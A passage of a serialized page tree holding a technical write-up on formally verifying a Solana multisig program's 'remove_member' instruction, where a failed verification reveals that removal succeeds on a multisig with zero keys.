",{"type":23,"tag":75,"props":37247,"children":37248},{"style":104},[37249],{"type":29,"value":27825},{"type":23,"tag":75,"props":37251,"children":37252},{"style":209},[37253],{"type":29,"value":1407},{"type":23,"tag":75,"props":37255,"children":37256},{"style":88},[37257],{"type":29,"value":30696},{"type":23,"tag":75,"props":37259,"children":37260},{"style":94},[37261],{"type":29,"value":643},{"type":23,"tag":75,"props":37263,"children":37264},{"style":110},[37265],{"type":29,"value":3331},{"type":23,"tag":75,"props":37267,"children":37268},{"style":209},[37269],{"type":29,"value":557},{"type":23,"tag":75,"props":37271,"children":37272},{"style":94},[37273],{"type":29,"value":25911},{"type":23,"tag":75,"props":37275,"children":37276},{"style":209},[37277],{"type":29,"value":557},{"type":23,"tag":75,"props":37279,"children":37280},{"style":94},[37281],{"type":29,"value":35017},{"type":23,"tag":75,"props":37283,"children":37284},{"style":209},[37285],{"type":29,"value":557},{"type":23,"tag":75,"props":37287,"children":37288},{"style":94},[37289],{"type":29,"value":37290},"threshold) {\n",{"type":23,"tag":75,"props":37292,"children":37293},{"class":77,"line":3436},[37294,37298,37303,37307,37311,37315,37319,37323,37327,37331,37335,37339,37343,37347,37351,37355,37359,37364,37368,37372,37376],{"type":23,"tag":75,"props":37295,"children":37296},{"style":82},[37297],{"type":29,"value":14352},{"type":23,"tag":75,"props":37299,"children":37300},{"style":110},[37301],{"type":29,"value":37302}," new_threshold",{"type":23,"tag":75,"props":37304,"children":37305},{"style":209},[37306],{"type":29,"value":1018},{"type":23,"tag":75,"props":37308,"children":37309},{"style":104},[37310],{"type":29,"value":32247},{"type":23,"tag":75,"props":37312,"children":37313},{"style":209},[37314],{"type":29,"value":1193},{"type":23,"tag":75,"props":37316,"children":37317},{"style":110},[37318],{"type":29,"value":3142},{"type":23,"tag":75,"props":37320,"children":37321},{"style":209},[37322],{"type":29,"value":557},{"type":23,"tag":75,"props":37324,"children":37325},{"style":94},[37326],{"type":29,"value":25911},{"type":23,"tag":75,"props":37328,"children":37329},{"style":209},[37330],{"type":29,"value":557},{"type":23,"tag":75,"props":37332,"children":37333},{"style":94},[37334],{"type":29,"value":35017},{"type":23,"tag":75,"props":37336,"children":37337},{"style":209},[37338],{"type":29,"value":557},{"type":23,"tag":75,"props":37340,"children":37341},{"style":94},[37342],{"type":29,"value":1995},{"type":23,"tag":75,"props":37344,"children":37345},{"style":209},[37346],{"type":29,"value":557},{"type":23,"tag":75,"props":37348,"children":37349},{"style":88},[37350],{"type":29,"value":679},{"type":23,"tag":75,"props":37352,"children":37353},{"style":94},[37354],{"type":29,"value":1417},{"type":23,"tag":75,"props":37356,"children":37357},{"style":209},[37358],{"type":29,"value":557},{"type":23,"tag":75,"props":37360,"children":37361},{"style":88},[37362],{"type":29,"value":37363},"try_into",{"type":23,"tag":75,"props":37365,"children":37366},{"style":94},[37367],{"type":29,"value":1417},{"type":23,"tag":75,"props":37369,"children":37370},{"style":209},[37371],{"type":29,"value":557},{"type":23,"tag":75,"props":37373,"children":37374},{"style":88},[37375],{"type":29,"value":14939},{"type":23,"tag":75,"props":37377,"children":37378},{"style":94},[37379],{"type":29,"value":14944},{"type":23,"tag":75,"props":37381,"children":37382},{"class":77,"line":3449},[37383,37387,37391,37395,37399,37403,37407,37412,37416,37421,37425,37429],{"type":23,"tag":75,"props":37384,"children":37385},{"style":110},[37386],{"type":29,"value":1698},{"type":23,"tag":75,"props":37388,"children":37389},{"style":209},[37390],{"type":29,"value":557},{"type":23,"tag":75,"props":37392,"children":37393},{"style":94},[37394],{"type":29,"value":25911},{"type":23,"tag":75,"props":37396,"children":37397},{"style":209},[37398],{"type":29,"value":557},{"type":23,"tag":75,"props":37400,"children":37401},{"style":94},[37402],{"type":29,"value":35017},{"type":23,"tag":75,"props":37404,"children":37405},{"style":209},[37406],{"type":29,"value":557},{"type":23,"tag":75,"props":37408,"children":37409},{"style":88},[37410],{"type":29,"value":37411},"change_threshold",{"type":23,"tag":75,"props":37413,"children":37414},{"style":94},[37415],{"type":29,"value":643},{"type":23,"tag":75,"props":37417,"children":37418},{"style":110},[37419],{"type":29,"value":37420},"new_threshold",{"type":23,"tag":75,"props":37422,"children":37423},{"style":94},[37424],{"type":29,"value":1347},{"type":23,"tag":75,"props":37426,"children":37427},{"style":209},[37428],{"type":29,"value":1225},{"type":23,"tag":75,"props":37430,"children":37431},{"style":94},[37432],{"type":29,"value":245},{"type":23,"tag":75,"props":37434,"children":37435},{"class":77,"line":3457},[37436],{"type":23,"tag":75,"props":37437,"children":37438},{"style":94},[37439],{"type":29,"value":346},{"type":23,"tag":75,"props":37441,"children":37442},{"class":77,"line":3465},[37443,37447,37452,37456,37460,37464,37468,37472,37476,37480],{"type":23,"tag":75,"props":37444,"children":37445},{"style":82},[37446],{"type":29,"value":1183},{"type":23,"tag":75,"props":37448,"children":37449},{"style":110},[37450],{"type":29,"value":37451}," new_index",{"type":23,"tag":75,"props":37453,"children":37454},{"style":209},[37455],{"type":29,"value":1193},{"type":23,"tag":75,"props":37457,"children":37458},{"style":110},[37459],{"type":29,"value":3142},{"type":23,"tag":75,"props":37461,"children":37462},{"style":209},[37463],{"type":29,"value":557},{"type":23,"tag":75,"props":37465,"children":37466},{"style":94},[37467],{"type":29,"value":25911},{"type":23,"tag":75,"props":37469,"children":37470},{"style":209},[37471],{"type":29,"value":557},{"type":23,"tag":75,"props":37473,"children":37474},{"style":94},[37475],{"type":29,"value":35017},{"type":23,"tag":75,"props":37477,"children":37478},{"style":209},[37479],{"type":29,"value":557},{"type":23,"tag":75,"props":37481,"children":37482},{"style":94},[37483],{"type":29,"value":37484},"transaction_index;\n",{"type":23,"tag":75,"props":37486,"children":37487},{"class":77,"line":3473},[37488,37492,37496,37500,37504,37508,37512,37517,37521,37526],{"type":23,"tag":75,"props":37489,"children":37490},{"style":110},[37491],{"type":29,"value":2946},{"type":23,"tag":75,"props":37493,"children":37494},{"style":209},[37495],{"type":29,"value":557},{"type":23,"tag":75,"props":37497,"children":37498},{"style":94},[37499],{"type":29,"value":25911},{"type":23,"tag":75,"props":37501,"children":37502},{"style":209},[37503],{"type":29,"value":557},{"type":23,"tag":75,"props":37505,"children":37506},{"style":94},[37507],{"type":29,"value":35017},{"type":23,"tag":75,"props":37509,"children":37510},{"style":209},[37511],{"type":29,"value":557},{"type":23,"tag":75,"props":37513,"children":37514},{"style":88},[37515],{"type":29,"value":37516},"set_change_index",{"type":23,"tag":75,"props":37518,"children":37519},{"style":94},[37520],{"type":29,"value":643},{"type":23,"tag":75,"props":37522,"children":37523},{"style":110},[37524],{"type":29,"value":37525},"new_index",{"type":23,"tag":75,"props":37527,"children":37528},{"style":94},[37529],{"type":29,"value":653},{"type":23,"tag":75,"props":37531,"children":37532},{"class":77,"line":3481},[37533],{"type":23,"tag":75,"props":37534,"children":37535},{"style":94},[37536],{"type":29,"value":369},{"type":23,"tag":32,"props":37538,"children":37539},{},[37540,37542,37547],{"type":29,"value":37541},"First let's establish the ",{"type":23,"tag":71,"props":37543,"children":37545},{"className":37544},[],[37546],{"type":29,"value":31377},{"type":29,"value":37548}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":64,"props":37550,"children":37552},{"code":37551,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[37553],{"type":23,"tag":71,"props":37554,"children":37555},{"__ignoreMap":7},[37556,37563,37610,37617],{"type":23,"tag":75,"props":37557,"children":37558},{"class":77,"line":78},[37559],{"type":23,"tag":75,"props":37560,"children":37561},{"style":94},[37562],{"type":29,"value":35316},{"type":23,"tag":75,"props":37564,"children":37565},{"class":77,"line":100},[37566,37570,37574,37578,37582,37586,37590,37594,37598,37602,37606],{"type":23,"tag":75,"props":37567,"children":37568},{"style":94},[37569],{"type":29,"value":2946},{"type":23,"tag":75,"props":37571,"children":37572},{"style":209},[37573],{"type":29,"value":557},{"type":23,"tag":75,"props":37575,"children":37576},{"style":94},[37577],{"type":29,"value":25911},{"type":23,"tag":75,"props":37579,"children":37580},{"style":209},[37581],{"type":29,"value":557},{"type":23,"tag":75,"props":37583,"children":37584},{"style":94},[37585],{"type":29,"value":35017},{"type":23,"tag":75,"props":37587,"children":37588},{"style":209},[37589],{"type":29,"value":557},{"type":23,"tag":75,"props":37591,"children":37592},{"style":94},[37593],{"type":29,"value":1995},{"type":23,"tag":75,"props":37595,"children":37596},{"style":209},[37597],{"type":29,"value":557},{"type":23,"tag":75,"props":37599,"children":37600},{"style":94},[37601],{"type":29,"value":32238},{"type":23,"tag":75,"props":37603,"children":37604},{"style":209},[37605],{"type":29,"value":4652},{"type":23,"tag":75,"props":37607,"children":37608},{"style":94},[37609],{"type":29,"value":30665},{"type":23,"tag":75,"props":37611,"children":37612},{"class":77,"line":121},[37613],{"type":23,"tag":75,"props":37614,"children":37615},{"style":94},[37616],{"type":29,"value":31480},{"type":23,"tag":75,"props":37618,"children":37619},{"class":77,"line":138},[37620,37624,37628,37632,37636,37640,37644],{"type":23,"tag":75,"props":37621,"children":37622},{"style":82},[37623],{"type":29,"value":999},{"type":23,"tag":75,"props":37625,"children":37626},{"style":88},[37627],{"type":29,"value":36967},{"type":23,"tag":75,"props":37629,"children":37630},{"style":94},[37631],{"type":29,"value":643},{"type":23,"tag":75,"props":37633,"children":37634},{"style":209},[37635],{"type":29,"value":9174},{"type":23,"tag":75,"props":37637,"children":37638},{"style":94},[37639],{"type":29,"value":8248},{"type":23,"tag":75,"props":37641,"children":37642},{"style":209},[37643],{"type":29,"value":9174},{"type":23,"tag":75,"props":37645,"children":37646},{"style":94},[37647],{"type":29,"value":7477},{"type":23,"tag":32,"props":37649,"children":37650},{},[37651,37653,37658],{"type":29,"value":37652},"And for now let's remove the invariant on the ",{"type":23,"tag":71,"props":37654,"children":37656},{"className":37655},[],[37657],{"type":29,"value":33956},{"type":29,"value":37659}," account:",{"type":23,"tag":64,"props":37661,"children":37663},{"code":37662,"language":986,"meta":7,"className":987,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[37664],{"type":23,"tag":71,"props":37665,"children":37666},{"__ignoreMap":7},[37667,37675],{"type":23,"tag":75,"props":37668,"children":37669},{"class":77,"line":78},[37670],{"type":23,"tag":75,"props":37671,"children":37672},{"style":94},[37673],{"type":29,"value":37674},"#[invariant()]\n",{"type":23,"tag":75,"props":37676,"children":37677},{"class":77,"line":100},[37678,37682,37686,37690,37694,37698],{"type":23,"tag":75,"props":37679,"children":37680},{"style":82},[37681],{"type":29,"value":24933},{"type":23,"tag":75,"props":37683,"children":37684},{"style":82},[37685],{"type":29,"value":396},{"type":23,"tag":75,"props":37687,"children":37688},{"style":104},[37689],{"type":29,"value":32372},{"type":23,"tag":75,"props":37691,"children":37692},{"style":94},[37693],{"type":29,"value":20837},{"type":23,"tag":75,"props":37695,"children":37696},{"style":209},[37697],{"type":29,"value":9174},{"type":23,"tag":75,"props":37699,"children":37700},{"style":94},[37701],{"type":29,"value":7477},{"type":23,"tag":32,"props":37703,"children":37704},{},[37705],{"type":29,"value":37706},"Let's test this!",{"type":23,"tag":32,"props":37708,"children":37709},{},[37710,37712,37717],{"type":29,"value":37711},"Our ",{"type":23,"tag":71,"props":37713,"children":37715},{"className":37714},[],[37716],{"type":29,"value":31377},{"type":29,"value":37718}," harness produces:",{"type":23,"tag":64,"props":37720,"children":37722},{"code":37721},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[37723],{"type":23,"tag":71,"props":37724,"children":37725},{"__ignoreMap":7},[37726],{"type":29,"value":37721},{"type":23,"tag":32,"props":37728,"children":37729},{},[37730],{"type":29,"value":37731},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":32,"props":37733,"children":37734},{},[37735,37737,37742],{"type":29,"value":37736},"However, remember that since ",{"type":23,"tag":71,"props":37738,"children":37740},{"className":37739},[],[37741],{"type":29,"value":31377},{"type":29,"value":37743}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":32,"props":37745,"children":37746},{},[37747,37749,37754,37756,37761,37763,37768],{"type":29,"value":37748},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":9690,"props":37750,"children":37751},{},[37752],{"type":29,"value":37753},"only condition",{"type":29,"value":37755}," in which the function will succeed (i.e. ",{"type":23,"tag":9690,"props":37757,"children":37758},{},[37759],{"type":29,"value":37760},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":29,"value":37762},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":71,"props":37764,"children":37766},{"className":37765},[],[37767],{"type":29,"value":31384},{"type":29,"value":37769}," macro such as:",{"type":23,"tag":64,"props":37771,"children":37773},{"code":37772,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[37774],{"type":23,"tag":71,"props":37775,"children":37776},{"__ignoreMap":7},[37777,37784,37831,37838,37845,37892,37899],{"type":23,"tag":75,"props":37778,"children":37779},{"class":77,"line":78},[37780],{"type":23,"tag":75,"props":37781,"children":37782},{"style":94},[37783],{"type":29,"value":35316},{"type":23,"tag":75,"props":37785,"children":37786},{"class":77,"line":100},[37787,37791,37795,37799,37803,37807,37811,37815,37819,37823,37827],{"type":23,"tag":75,"props":37788,"children":37789},{"style":94},[37790],{"type":29,"value":2946},{"type":23,"tag":75,"props":37792,"children":37793},{"style":209},[37794],{"type":29,"value":557},{"type":23,"tag":75,"props":37796,"children":37797},{"style":94},[37798],{"type":29,"value":25911},{"type":23,"tag":75,"props":37800,"children":37801},{"style":209},[37802],{"type":29,"value":557},{"type":23,"tag":75,"props":37804,"children":37805},{"style":94},[37806],{"type":29,"value":35017},{"type":23,"tag":75,"props":37808,"children":37809},{"style":209},[37810],{"type":29,"value":557},{"type":23,"tag":75,"props":37812,"children":37813},{"style":94},[37814],{"type":29,"value":1995},{"type":23,"tag":75,"props":37816,"children":37817},{"style":209},[37818],{"type":29,"value":557},{"type":23,"tag":75,"props":37820,"children":37821},{"style":94},[37822],{"type":29,"value":32238},{"type":23,"tag":75,"props":37824,"children":37825},{"style":209},[37826],{"type":29,"value":4652},{"type":23,"tag":75,"props":37828,"children":37829},{"style":94},[37830],{"type":29,"value":30665},{"type":23,"tag":75,"props":37832,"children":37833},{"class":77,"line":121},[37834],{"type":23,"tag":75,"props":37835,"children":37836},{"style":94},[37837],{"type":29,"value":31480},{"type":23,"tag":75,"props":37839,"children":37840},{"class":77,"line":138},[37841],{"type":23,"tag":75,"props":37842,"children":37843},{"style":94},[37844],{"type":29,"value":31438},{"type":23,"tag":75,"props":37846,"children":37847},{"class":77,"line":161},[37848,37852,37856,37860,37864,37868,37872,37876,37880,37884,37888],{"type":23,"tag":75,"props":37849,"children":37850},{"style":94},[37851],{"type":29,"value":2946},{"type":23,"tag":75,"props":37853,"children":37854},{"style":209},[37855],{"type":29,"value":557},{"type":23,"tag":75,"props":37857,"children":37858},{"style":94},[37859],{"type":29,"value":25911},{"type":23,"tag":75,"props":37861,"children":37862},{"style":209},[37863],{"type":29,"value":557},{"type":23,"tag":75,"props":37865,"children":37866},{"style":94},[37867],{"type":29,"value":35017},{"type":23,"tag":75,"props":37869,"children":37870},{"style":209},[37871],{"type":29,"value":557},{"type":23,"tag":75,"props":37873,"children":37874},{"style":94},[37875],{"type":29,"value":1995},{"type":23,"tag":75,"props":37877,"children":37878},{"style":209},[37879],{"type":29,"value":557},{"type":23,"tag":75,"props":37881,"children":37882},{"style":94},[37883],{"type":29,"value":32238},{"type":23,"tag":75,"props":37885,"children":37886},{"style":209},[37887],{"type":29,"value":30637},{"type":23,"tag":75,"props":37889,"children":37890},{"style":94},[37891],{"type":29,"value":30665},{"type":23,"tag":75,"props":37893,"children":37894},{"class":77,"line":196},[37895],{"type":23,"tag":75,"props":37896,"children":37897},{"style":94},[37898],{"type":29,"value":31480},{"type":23,"tag":75,"props":37900,"children":37901},{"class":77,"line":220},[37902,37906,37910,37914,37918,37922,37926],{"type":23,"tag":75,"props":37903,"children":37904},{"style":82},[37905],{"type":29,"value":999},{"type":23,"tag":75,"props":37907,"children":37908},{"style":88},[37909],{"type":29,"value":36967},{"type":23,"tag":75,"props":37911,"children":37912},{"style":94},[37913],{"type":29,"value":643},{"type":23,"tag":75,"props":37915,"children":37916},{"style":209},[37917],{"type":29,"value":9174},{"type":23,"tag":75,"props":37919,"children":37920},{"style":94},[37921],{"type":29,"value":8248},{"type":23,"tag":75,"props":37923,"children":37924},{"style":209},[37925],{"type":29,"value":9174},{"type":23,"tag":75,"props":37927,"children":37928},{"style":94},[37929],{"type":29,"value":7477},{"type":23,"tag":32,"props":37931,"children":37932},{},[37933,37935,37940],{"type":29,"value":37934},"Let's test this, we just need to run the new ",{"type":23,"tag":71,"props":37936,"children":37938},{"className":37937},[],[37939],{"type":29,"value":31384},{"type":29,"value":37941}," harness:",{"type":23,"tag":64,"props":37943,"children":37945},{"code":37944},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[37946],{"type":23,"tag":71,"props":37947,"children":37948},{"__ignoreMap":7},[37949],{"type":29,"value":37944},{"type":23,"tag":32,"props":37951,"children":37952},{},[37953],{"type":29,"value":37954},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":64,"props":37956,"children":37958},{"code":37957,"language":986,"meta":7,"className":987,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[37959],{"type":23,"tag":71,"props":37960,"children":37961},{"__ignoreMap":7},[37962,37973,37992,38011,38030,38049,38068,38087,38106,38125,38144,38163,38182,38189,38196,38223],{"type":23,"tag":75,"props":37963,"children":37964},{"class":77,"line":78},[37965,37969],{"type":23,"tag":75,"props":37966,"children":37967},{"style":104},[37968],{"type":29,"value":28369},{"type":23,"tag":75,"props":37970,"children":37971},{"style":94},[37972],{"type":29,"value":401},{"type":23,"tag":75,"props":37974,"children":37975},{"class":77,"line":100},[37976,37980,37984,37988],{"type":23,"tag":75,"props":37977,"children":37978},{"style":110},[37979],{"type":29,"value":36375},{"type":23,"tag":75,"props":37981,"children":37982},{"style":209},[37983],{"type":29,"value":1018},{"type":23,"tag":75,"props":37985,"children":37986},{"style":104},[37987],{"type":29,"value":32372},{"type":23,"tag":75,"props":37989,"children":37990},{"style":94},[37991],{"type":29,"value":401},{"type":23,"tag":75,"props":37993,"children":37994},{"class":77,"line":121},[37995,37999,38003,38007],{"type":23,"tag":75,"props":37996,"children":37997},{"style":110},[37998],{"type":29,"value":35037},{"type":23,"tag":75,"props":38000,"children":38001},{"style":209},[38002],{"type":29,"value":1018},{"type":23,"tag":75,"props":38004,"children":38005},{"style":237},[38006],{"type":29,"value":240},{"type":23,"tag":75,"props":38008,"children":38009},{"style":94},[38010],{"type":29,"value":118},{"type":23,"tag":75,"props":38012,"children":38013},{"class":77,"line":138},[38014,38018,38022,38026],{"type":23,"tag":75,"props":38015,"children":38016},{"style":110},[38017],{"type":29,"value":36415},{"type":23,"tag":75,"props":38019,"children":38020},{"style":209},[38021],{"type":29,"value":1018},{"type":23,"tag":75,"props":38023,"children":38024},{"style":237},[38025],{"type":29,"value":240},{"type":23,"tag":75,"props":38027,"children":38028},{"style":94},[38029],{"type":29,"value":118},{"type":23,"tag":75,"props":38031,"children":38032},{"class":77,"line":161},[38033,38037,38041,38045],{"type":23,"tag":75,"props":38034,"children":38035},{"style":110},[38036],{"type":29,"value":36435},{"type":23,"tag":75,"props":38038,"children":38039},{"style":209},[38040],{"type":29,"value":1018},{"type":23,"tag":75,"props":38042,"children":38043},{"style":237},[38044],{"type":29,"value":240},{"type":23,"tag":75,"props":38046,"children":38047},{"style":94},[38048],{"type":29,"value":118},{"type":23,"tag":75,"props":38050,"children":38051},{"class":77,"line":196},[38052,38056,38060,38064],{"type":23,"tag":75,"props":38053,"children":38054},{"style":110},[38055],{"type":29,"value":36455},{"type":23,"tag":75,"props":38057,"children":38058},{"style":209},[38059],{"type":29,"value":1018},{"type":23,"tag":75,"props":38061,"children":38062},{"style":237},[38063],{"type":29,"value":240},{"type":23,"tag":75,"props":38065,"children":38066},{"style":94},[38067],{"type":29,"value":118},{"type":23,"tag":75,"props":38069,"children":38070},{"class":77,"line":220},[38071,38075,38079,38083],{"type":23,"tag":75,"props":38072,"children":38073},{"style":110},[38074],{"type":29,"value":36475},{"type":23,"tag":75,"props":38076,"children":38077},{"style":209},[38078],{"type":29,"value":1018},{"type":23,"tag":75,"props":38080,"children":38081},{"style":237},[38082],{"type":29,"value":240},{"type":23,"tag":75,"props":38084,"children":38085},{"style":94},[38086],{"type":29,"value":118},{"type":23,"tag":75,"props":38088,"children":38089},{"class":77,"line":248},[38090,38094,38098,38102],{"type":23,"tag":75,"props":38091,"children":38092},{"style":110},[38093],{"type":29,"value":35049},{"type":23,"tag":75,"props":38095,"children":38096},{"style":209},[38097],{"type":29,"value":1018},{"type":23,"tag":75,"props":38099,"children":38100},{"style":209},[38101],{"type":29,"value":13864},{"type":23,"tag":75,"props":38103,"children":38104},{"style":94},[38105],{"type":29,"value":118},{"type":23,"tag":75,"props":38107,"children":38108},{"class":77,"line":270},[38109,38113,38117,38121],{"type":23,"tag":75,"props":38110,"children":38111},{"style":110},[38112],{"type":29,"value":36514},{"type":23,"tag":75,"props":38114,"children":38115},{"style":209},[38116],{"type":29,"value":1018},{"type":23,"tag":75,"props":38118,"children":38119},{"style":82},[38120],{"type":29,"value":20313},{"type":23,"tag":75,"props":38122,"children":38123},{"style":94},[38124],{"type":29,"value":118},{"type":23,"tag":75,"props":38126,"children":38127},{"class":77,"line":279},[38128,38132,38136,38140],{"type":23,"tag":75,"props":38129,"children":38130},{"style":110},[38131],{"type":29,"value":1977},{"type":23,"tag":75,"props":38133,"children":38134},{"style":209},[38135],{"type":29,"value":1018},{"type":23,"tag":75,"props":38137,"children":38138},{"style":104},[38139],{"type":29,"value":32604},{"type":23,"tag":75,"props":38141,"children":38142},{"style":94},[38143],{"type":29,"value":401},{"type":23,"tag":75,"props":38145,"children":38146},{"class":77,"line":303},[38147,38151,38155,38159],{"type":23,"tag":75,"props":38148,"children":38149},{"style":110},[38150],{"type":29,"value":13554},{"type":23,"tag":75,"props":38152,"children":38153},{"style":209},[38154],{"type":29,"value":1018},{"type":23,"tag":75,"props":38156,"children":38157},{"style":209},[38158],{"type":29,"value":13864},{"type":23,"tag":75,"props":38160,"children":38161},{"style":94},[38162],{"type":29,"value":118},{"type":23,"tag":75,"props":38164,"children":38165},{"class":77,"line":322},[38166,38170,38174,38178],{"type":23,"tag":75,"props":38167,"children":38168},{"style":110},[38169],{"type":29,"value":36554},{"type":23,"tag":75,"props":38171,"children":38172},{"style":209},[38173],{"type":29,"value":1018},{"type":23,"tag":75,"props":38175,"children":38176},{"style":237},[38177],{"type":29,"value":240},{"type":23,"tag":75,"props":38179,"children":38180},{"style":94},[38181],{"type":29,"value":118},{"type":23,"tag":75,"props":38183,"children":38184},{"class":77,"line":340},[38185],{"type":23,"tag":75,"props":38186,"children":38187},{"style":94},[38188],{"type":29,"value":36575},{"type":23,"tag":75,"props":38190,"children":38191},{"class":77,"line":349},[38192],{"type":23,"tag":75,"props":38193,"children":38194},{"style":94},[38195],{"type":29,"value":36583},{"type":23,"tag":75,"props":38197,"children":38198},{"class":77,"line":363},[38199,38203,38207,38211,38215,38219],{"type":23,"tag":75,"props":38200,"children":38201},{"style":110},[38202],{"type":29,"value":36591},{"type":23,"tag":75,"props":38204,"children":38205},{"style":209},[38206],{"type":29,"value":1018},{"type":23,"tag":75,"props":38208,"children":38209},{"style":104},[38210],{"type":29,"value":36600},{"type":23,"tag":75,"props":38212,"children":38213},{"style":94},[38214],{"type":29,"value":20837},{"type":23,"tag":75,"props":38216,"children":38217},{"style":209},[38218],{"type":29,"value":9174},{"type":23,"tag":75,"props":38220,"children":38221},{"style":94},[38222],{"type":29,"value":36613},{"type":23,"tag":75,"props":38224,"children":38225},{"class":77,"line":656},[38226],{"type":23,"tag":75,"props":38227,"children":38228},{"style":94},[38229],{"type":29,"value":369},{"type":23,"tag":32,"props":38231,"children":38232},{},[38233],{"type":29,"value":38234},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":32,"props":38236,"children":38237},{},[38238,38240,38246],{"type":29,"value":38239},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":71,"props":38241,"children":38243},{"className":38242},[],[38244],{"type":29,"value":38245},"Ms::remove_member",{"type":29,"value":1018},{"type":23,"tag":64,"props":38248,"children":38250},{"code":38249,"language":986,"meta":7,"className":987,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[38251],{"type":23,"tag":71,"props":38252,"children":38253},{"__ignoreMap":7},[38254,38313,38344,38351],{"type":23,"tag":75,"props":38255,"children":38256},{"class":77,"line":78},[38257,38261,38265,38269,38273,38277,38281,38285,38289,38293,38297,38301,38305,38309],{"type":23,"tag":75,"props":38258,"children":38259},{"style":175},[38260],{"type":29,"value":26807},{"type":23,"tag":75,"props":38262,"children":38263},{"style":110},[38264],{"type":29,"value":3142},{"type":23,"tag":75,"props":38266,"children":38267},{"style":209},[38268],{"type":29,"value":557},{"type":23,"tag":75,"props":38270,"children":38271},{"style":94},[38272],{"type":29,"value":25911},{"type":23,"tag":75,"props":38274,"children":38275},{"style":209},[38276],{"type":29,"value":557},{"type":23,"tag":75,"props":38278,"children":38279},{"style":94},[38280],{"type":29,"value":35017},{"type":23,"tag":75,"props":38282,"children":38283},{"style":209},[38284],{"type":29,"value":557},{"type":23,"tag":75,"props":38286,"children":38287},{"style":94},[38288],{"type":29,"value":1995},{"type":23,"tag":75,"props":38290,"children":38291},{"style":209},[38292],{"type":29,"value":557},{"type":23,"tag":75,"props":38294,"children":38295},{"style":88},[38296],{"type":29,"value":679},{"type":23,"tag":75,"props":38298,"children":38299},{"style":94},[38300],{"type":29,"value":2464},{"type":23,"tag":75,"props":38302,"children":38303},{"style":209},[38304],{"type":29,"value":2469},{"type":23,"tag":75,"props":38306,"children":38307},{"style":237},[38308],{"type":29,"value":15795},{"type":23,"tag":75,"props":38310,"children":38311},{"style":94},[38312],{"type":29,"value":401},{"type":23,"tag":75,"props":38314,"children":38315},{"class":77,"line":100},[38316,38320,38324,38328,38332,38336,38340],{"type":23,"tag":75,"props":38317,"children":38318},{"style":175},[38319],{"type":29,"value":355},{"type":23,"tag":75,"props":38321,"children":38322},{"style":88},[38323],{"type":29,"value":34733},{"type":23,"tag":75,"props":38325,"children":38326},{"style":94},[38327],{"type":29,"value":643},{"type":23,"tag":75,"props":38329,"children":38330},{"style":104},[38331],{"type":29,"value":34742},{"type":23,"tag":75,"props":38333,"children":38334},{"style":209},[38335],{"type":29,"value":1407},{"type":23,"tag":75,"props":38337,"children":38338},{"style":104},[38339],{"type":29,"value":37120},{"type":23,"tag":75,"props":38341,"children":38342},{"style":94},[38343],{"type":29,"value":15099},{"type":23,"tag":75,"props":38345,"children":38346},{"class":77,"line":121},[38347],{"type":23,"tag":75,"props":38348,"children":38349},{"style":94},[38350],{"type":29,"value":369},{"type":23,"tag":75,"props":38352,"children":38353},{"class":77,"line":138},[38354,38358,38362,38366,38370,38374,38378,38382,38386,38390,38394,38398],{"type":23,"tag":75,"props":38355,"children":38356},{"style":110},[38357],{"type":29,"value":3331},{"type":23,"tag":75,"props":38359,"children":38360},{"style":209},[38361],{"type":29,"value":557},{"type":23,"tag":75,"props":38363,"children":38364},{"style":94},[38365],{"type":29,"value":25911},{"type":23,"tag":75,"props":38367,"children":38368},{"style":209},[38369],{"type":29,"value":557},{"type":23,"tag":75,"props":38371,"children":38372},{"style":94},[38373],{"type":29,"value":35017},{"type":23,"tag":75,"props":38375,"children":38376},{"style":209},[38377],{"type":29,"value":557},{"type":23,"tag":75,"props":38379,"children":38380},{"style":88},[38381],{"type":29,"value":36668},{"type":23,"tag":75,"props":38383,"children":38384},{"style":94},[38385],{"type":29,"value":643},{"type":23,"tag":75,"props":38387,"children":38388},{"style":110},[38389],{"type":29,"value":37001},{"type":23,"tag":75,"props":38391,"children":38392},{"style":94},[38393],{"type":29,"value":1347},{"type":23,"tag":75,"props":38395,"children":38396},{"style":209},[38397],{"type":29,"value":1225},{"type":23,"tag":75,"props":38399,"children":38400},{"style":94},[38401],{"type":29,"value":245},{"type":23,"tag":32,"props":38403,"children":38404},{},[38405,38407,38413,38415,38421],{"type":29,"value":38406},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":71,"props":38408,"children":38410},{"className":38409},[],[38411],{"type":29,"value":38412},"Ms::is_member",{"type":29,"value":38414},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":71,"props":38416,"children":38418},{"className":38417},[],[38419],{"type":29,"value":38420},"Ok(())",{"type":29,"value":557},{"type":23,"tag":64,"props":38423,"children":38425},{"code":38424,"language":986,"meta":7,"className":987,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    